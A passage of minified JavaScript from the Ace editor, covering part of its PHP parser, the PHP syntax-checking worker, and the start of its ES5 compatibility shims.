is.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn334=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn335=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn336=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn337=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn338=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn339=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn340=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn341=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn342=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn343=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn344=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn345=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn346=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn347=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn348=function(e){this.yyval=null},r.Parser.prototype.yyn349=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn350=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn351=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn352=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn353=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn354=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn355=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn356=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn357=function(e){this.yyval=null},r.Parser.prototype.yyn358=function(e){this.yyval=[]},r.Parser.prototype.yyn359=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn360=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn361=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn362=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-2],!1,e)},r.Parser.prototype.yyn363=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!1,e)},r.Parser.prototype.yyn364=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-3],!0,e)},r.Parser.prototype.yyn365=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!0,e)},r.Parser.prototype.yyn366=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn367=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn368=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn369=function(e){this.yyval=[this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn370=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn371=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-3].substring(1),e),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn372=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-2].substring(1),e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn373=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn374=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn375=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-4],e),this.yyastk[this.stackPos-2],e)},r.Parser.prototype.yyn376=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn377=function(e){this.yyval=this.Node_Scalar_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn378=function(e){this.yyval=this.Node_Scalar_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn379=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.Stmt_Namespace_postprocess=function(e){return e},r.Parser.prototype.Node_Stmt_Echo=function(){return{type:\"Node_Stmt_Echo\",exprs:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_If=function(){return{type:\"Node_Stmt_If\",cond:arguments[0],stmts:arguments[1].stmts,elseifs:arguments[1].elseifs,Else:arguments[1].Else||null,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_For=function(){return{type:\"Node_Stmt_For\",init:arguments[0].init,cond:arguments[0].cond,loop:arguments[0].loop,stmts:arguments[0].stmts,attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Function=function(){return{type:\"Node_Stmt_Function\",name:arguments[0],byRef:arguments[1].byRef,params:arguments[1].params,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Stmt_Class_verifyModifier=function(){},r.Parser.prototype.Node_Stmt_Namespace=function(){return{type:\"Node_Stmt_Namespace\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Use=function(){return{type:\"Node_Stmt_Use\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_UseUse=function(){return{type:\"Node_Stmt_UseUse\",name:arguments[0],as:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUseAdaptation_Precedence=function(){return{type:\"Node_Stmt_TraitUseAdaptation_Precedence\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUseAdaptation_Alias=function(){return{type:\"Node_Stmt_TraitUseAdaptation_Alias\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Trait=function(){return{type:\"Node_Stmt_Trait\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUse=function(){return{type:\"Node_Stmt_TraitUse\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Class=function(){return{type:\"Node_Stmt_Class\",name:arguments[0],Type:arguments[1].type,Extends:arguments[1].Extends,Implements:arguments[1].Implements,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_ClassMethod=function(){return{type:\"Node_Stmt_ClassMethod\",name:arguments[0],Type:arguments[1].type,byRef:arguments[1].byRef,params:arguments[1].params,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_ClassConst=function(){return{type:\"Node_Stmt_ClassConst\",consts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Interface=function(){return{type:\"Node_Stmt_Interface\",name:arguments[0],Extends:arguments[1].Extends,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Throw=function(){return{type:\"Node_Stmt_Throw\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Catch=function(){return{type:\"Node_Stmt_Catch\",Type:arguments[0],variable:arguments[1],stmts:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Stmt_TryCatch=function(){return{type:\"Node_Stmt_TryCatch\",stmts:arguments[0],catches:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Foreach=function(){return{type:\"Node_Stmt_Foreach\",expr:arguments[0],valueVar:arguments[1],keyVar:arguments[2].keyVar,byRef:arguments[2].byRef,stmts:arguments[2].stmts,attributes:arguments[3]}},r.Parser.prototype.Node_Stmt_While=function(){return{type:\"Node_Stmt_While\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Do=function(){return{type:\"Node_Stmt_Do\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Break=function(){return{type:\"Node_Stmt_Break\",num:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Continue=function(){return{type:\"Node_Stmt_Continue\",num:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Return=function(){return{type:\"Node_Stmt_Return\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Case=function(){return{type:\"Node_Stmt_Case\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Switch=function(){return{type:\"Node_Stmt_Switch\",cond:arguments[0],cases:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Else=function(){return{type:\"Node_Stmt_Else\",stmts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_ElseIf=function(){return{type:\"Node_Stmt_ElseIf\",cond:arguments[0],stmts:arguments[1],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_InlineHTML=function(){return{type:\"Node_Stmt_InlineHTML\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_StaticVar=function(){return{type:\"Node_Stmt_StaticVar\",name:arguments[0],def:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Static=function(){return{type:\"Node_Stmt_Static\",vars:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Global=function(){return{type:\"Node_Stmt_Global\",vars:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_PropertyProperty=function(){return{type:\"Node_Stmt_PropertyProperty\",name:arguments[0],def:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Property=function(){return{type:\"Node_Stmt_Property\",Type:arguments[0],props:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Unset=function(){return{type:\"Node_Stmt_Unset\",variables:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Variable=function(e){return{type:\"Node_Expr_Variable\",name:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_FuncCall=function(){return{type:\"Node_Expr_FuncCall\",func:arguments[0],args:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_MethodCall=function(){return{type:\"Node_Expr_MethodCall\",variable:arguments[0],name:arguments[1],args:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_StaticCall=function(){return{type:\"Node_Expr_StaticCall\",Class:arguments[0],func:arguments[1],args:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_Ternary=function(){return{type:\"Node_Expr_Ternary\",cond:arguments[0],If:arguments[1],Else:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_AssignList=function(){return{type:\"Node_Expr_AssignList\",assignList:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Assign=function(){return{type:\"Node_Expr_Assign\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignConcat=function(){return{type:\"Node_Expr_AssignConcat\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMinus=function(){return{type:\"Node_Expr_AssignMinus\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignPlus=function(){return{type:\"Node_Expr_AssignPlus\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignDiv=function(){return{type:\"Node_Expr_AssignDiv\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignRef=function(){return{type:\"Node_Expr_AssignRef\",variable:arguments[0],refVar:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMul=function(){return{type:\"Node_Expr_AssignMul\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMod=function(){return{type:\"Node_Expr_AssignMod\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Plus=function(){return{type:\"Node_Expr_Plus\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Minus=function(){return{type:\"Node_Expr_Minus\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Mul=function(){return{type:\"Node_Expr_Mul\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Div=function(){return{type:\"Node_Expr_Div\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Mod=function(){return{type:\"Node_Expr_Mod\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Greater=function(){return{type:\"Node_Expr_Greater\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Equal=function(){return{type:\"Node_Expr_Equal\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_NotEqual=function(){return{type:\"Node_Expr_NotEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Identical=function(){return{type:\"Node_Expr_Identical\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_NotIdentical=function(){return{type:\"Node_Expr_NotIdentical\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_GreaterOrEqual=function(){return{type:\"Node_Expr_GreaterOrEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_SmallerOrEqual=function(){return{type:\"Node_Expr_SmallerOrEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Concat=function(){return{type:\"Node_Expr_Concat\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Smaller=function(){return{type:\"Node_Expr_Smaller\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_PostInc=function(){return{type:\"Node_Expr_PostInc\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PostDec=function(){return{type:\"Node_Expr_PostDec\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PreInc=function(){return{type:\"Node_Expr_PreInc\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PreDec=function(){return{type:\"Node_Expr_PreDec\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Include=function(){return{expr:arguments[0],type:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ArrayDimFetch=function(){return{type:\"Node_Expr_ArrayDimFetch\",variable:arguments[0],dim:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_StaticPropertyFetch=function(){return{type:\"Node_Expr_StaticPropertyFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ClassConstFetch=function(){return{type:\"Node_Expr_ClassConstFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_StaticPropertyFetch=function(){return{type:\"Node_Expr_StaticPropertyFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ConstFetch=function(){return{type:\"Node_Expr_ConstFetch\",name:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_ArrayItem=function(){return{type:\"Node_Expr_ArrayItem\",value:arguments[0],key:arguments[1],byRef:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_Array=function(){return{type:\"Node_Expr_Array\",items:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PropertyFetch=function(){return{type:\"Node_Expr_PropertyFetch\",variable:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_New=function(){return{type:\"Node_Expr_New\",Class:arguments[0],args:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Print=function(){return{type:\"Node_Expr_Print\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Exit=function(){return{type:\"Node_Expr_Exit\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Bool=function(){return{type:\"Node_Expr_Cast_Bool\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Int=function(){return{type:\"Node_Expr_Cast_Int\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_String=function(){return{type:\"Node_Expr_Cast_String\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Double=function(){return{type:\"Node_Expr_Cast_Double\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Array=function(){return{type:\"Node_Expr_Cast_Array\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Object=function(){return{type:\"Node_Expr_Cast_Object\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_ErrorSuppress=function(){return{type:\"Node_Expr_ErrorSuppress\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Isset=function(){return{type:\"Node_Expr_Isset\",variables:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_UnaryMinus=function(){return{type:\"Node_Expr_UnaryMinus\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_UnaryPlus=function(){return{type:\"Node_Expr_UnaryPlus\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Empty=function(){return{type:\"Node_Expr_Empty\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanOr=function(){return{type:\"Node_Expr_BooleanOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalOr=function(){return{type:\"Node_Expr_LogicalOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalAnd=function(){return{type:\"Node_Expr_LogicalAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalXor=function(){return{type:\"Node_Expr_LogicalXor\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseAnd=function(){return{type:\"Node_Expr_BitwiseAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseOr=function(){return{type:\"Node_Expr_BitwiseOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseXor=function(){return{type:\"Node_Expr_BitwiseXor\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseNot=function(){return{type:\"Node_Expr_BitwiseNot\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanNot=function(){return{type:\"Node_Expr_BooleanNot\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanAnd=function(){return{type:\"Node_Expr_BooleanAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Instanceof=function(){return{type:\"Node_Expr_Instanceof\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Clone=function(){return{type:\"Node_Expr_Clone\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Scalar_LNumber_parse=function(e){return e},r.Parser.prototype.Scalar_DNumber_parse=function(e){return e},r.Parser.prototype.Scalar_String_parseDocString=function(){return'\"'+arguments[1].replace(/([^\"\\\\]*(?:\\\\.[^\"\\\\]*)*)\"/g,'$1\\\\\"')+'\"'},r.Parser.prototype.Node_Scalar_String=function(){return{type:\"Node_Scalar_String\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Scalar_String_create=function(){return{type:\"Node_Scalar_String\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_LNumber=function(){return{type:\"Node_Scalar_LNumber\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_DNumber=function(){return{type:\"Node_Scalar_DNumber\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_Encapsed=function(){return{type:\"Node_Scalar_Encapsed\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name=function(){return{type:\"Node_Name\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name_FullyQualified=function(){return{type:\"Node_Name_FullyQualified\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name_Relative=function(){return{type:\"Node_Name_Relative\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Param=function(){return{type:\"Node_Param\",name:arguments[0],def:arguments[1],Type:arguments[2],byRef:arguments[3],attributes:arguments[4]}},r.Parser.prototype.Node_Arg=function(){return{type:\"Node_Name\",value:arguments[0],byRef:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Const=function(){return{type:\"Node_Const\",name:arguments[0],value:arguments[1],attributes:arguments[2]}},t.PHP=r}),ace.define(\"ace/mode/php_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/php/php\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./php/php\").PHP,o=t.PhpWorker=function(e){i.call(this,e),this.setTimeout(500)};r.inherits(o,i),function(){this.setOptions=function(e){this.inlinePhp=e&&e.inline},this.onUpdate=function(){var e=this.doc.getValue(),t=[];this.inlinePhp&&(e=\"<?\"+e+\"?>\");var n=s.Lexer(e,{short_open_tag:1});try{new s.Parser(n)}catch(r){t.push({row:r.line-1,column:null,text:r.message.charAt(0).toUpperCase()+r.message.substring(1),type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return 